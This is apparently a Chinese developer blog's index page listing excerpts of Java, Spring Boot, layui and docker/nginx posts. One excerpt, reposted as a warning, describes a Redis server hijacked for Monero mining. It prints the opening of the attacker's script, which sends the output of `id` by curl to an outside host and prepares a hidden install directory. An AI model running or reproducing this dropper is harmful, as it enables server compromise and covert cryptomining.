- 博客(20)
- 收藏
- 关注
原创 接口返回处理代码文件
package org.qz.api.config;import com.fasterxml.jackson.annotation.JsonInclude;import com.fasterxml.jackson.databind.DeserializationFeature;import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.PropertyNamingStrategy;
2021-11-16 19:08:48
456
原创 魔改后的雪花算法,生成13位long类型ID,适用于单机版,避免平行越权
魔改后的雪花算法生成13位long类型ID,适用于单机版,避免平行越权 List itempublic class IdWorker{ //12位的序列号 private static long sequence; //初始时间戳 private static long twepoch = 1288834974657L; //序列号id长度 private static long sequenceBits = 4L; //序列号最大值
2021-07-06 16:32:16
1318
转载 阿里云服务器被入侵执行MoneroOcean(门罗币)挖矿脚本
为学习使用Redis,在阿里云Linux服务器上安装了redis并且后台运行,开放了默认端口,而且没有设置访问密码,当天晚上被执行了恶意脚本。恶意代码如下,分享一下:#!/bin/bashus=$(id)curl "http://oracle.zzhreceive.top/b2f628/idcheck/$us" >>/dev/nullulimit -n 65535export MOHOME=/usr/sharemkdir $MOHOME -pif [ -f "$MOHOME/[
2021-06-26 21:27:55
12473
2
原创 使用序列化实现深拷贝
package com.DesignPattern.prototype;import java.io.*;public class Sheep implements Serializable, Cloneable { private String name; private int age; private Sheep friend; public Sheep() { } public Sheep(String name, int age) {
2021-05-23 13:47:42
117
原创 elment dependency cannot have character[children], because the type‘s content type is element-only
在Maven的pom.xml文件中的dependency标签报错中出现elment dependency cannot have character[children], because the type’s content type is element-only解决办法一:修改dependency那几行的缩进
2021-05-22 17:36:55
115
原创 非常简单的layui+pageHelper+springboot实现分页
pom.xml加依赖 <!-- springboot分页插件 --> <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper-spring-boot-starter</artifactId> <!-- 特别注意版本问题, 看到评.
2021-05-19 21:38:03
337
原创 layui-mini的html文件bug
将layui-mini的table.html直接复制出来作为另一个界面的html文件,会导致一些奇奇怪怪的bug这两次报错皆为下图空框处页面无法正常显示第一次下图红线处属性遭到莫名其妙的更改,该次在浏览器的开发者工具中的network中可以看到报错,可以根据报错找到该处错误第二次完全没有报错,代码不存在错误,找不到错误。突发奇想换一个浏览器试试,从goole chrome更换到Microsoft Edge,结果能正常显示,再换回goole chrome就正常了。从开发者工具中的networ
2021-05-19 15:06:39
468
原创 layui-mini+spring boot实现table搜索操作传参
项目场景:layui-mini + spring boot使用table.reload实现搜索操作的传参问题描述:layui向后端传的json格式数据因table.reload在传参时默认携带page和limit参数,导致@requestParam、@requestBody和Servlet 无法接收到实体JSON数据。 解决方案:使用最原始的方法,将json格式数据全部读入,在controller里做手动解析// 监听搜索操作form.on('submit(data-search
2021-05-18 14:35:00
636
原创 前后端不分离项目解决http请求头无法携带token问题
项目场景:layui-mini+springboot问题描述:试图使用token验证用户登录并拦截但是该项目前后端不分离,html的页面跳转方式无法在请求头携带token,使用ajax进行页面跳转太过冗余解决方案:放弃http请求头携带token,使用session携带token。登录验证通过后,在session中加入token,修改token拦截器类...
2021-05-15 22:41:55
2012
1
原创 nginx80端口号被占用问题
项目场景:使用docker和nginx部署spring boot和vue的前后端分离项目问题描述:80端口被之前部署的nginx占用使用kill -9 (端口号)杀一个多一个解决方案:使用killall -9 (父端口号)
2021-05-01 21:12:58
361
原创 springboot+vue+docker+nginx+linux线上部署(非常简单的版本)
文章目录前提一、Linux服务器上的准备工作二、准备docker-compose编排的文件三、springboot项目打包jar四、将vue项目打包五、移动到Linux服务器上六、开始编排前提Linux服务器,安装nginx、dockerspringboot项目vue项目一、Linux服务器上的准备工作创建/root/nginx/html/root/nginx/nginx.conf二、准备docker-compose编排的文件docker-compose.ymlversion:
2021-05-01 21:06:16
164
原创 Java中的4个访问修饰符
·private:仅对本类可见·public:对外部完全可见·protected:对本包和所有子类可见·默认:对本包可见
2021-01-20 15:05:05
217
1
原创 Java关于Math包的简便实用方法
在源文件的顶部加上下面这行代码即可import static java.lang.Math.*;导入完毕后就不必在数学方法名和常量名前添加前缀“Math”
2021-01-17 17:42:56
584
原创 关于ajax的异步请求原理导致修改radio选中状态失效
项目场景:layui-mini和ajax问题描述:在layui-mini模板中,使用ajax调取后端数据库中的数据,并根据数据进行修改radio标签的选中状态时,ajax中对radio标签的操作无效 原因分析:ajax默认为异步,将其设置为同步即可解决方案:在ajax中设置async: false...
2021-01-04 20:07:01
239
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人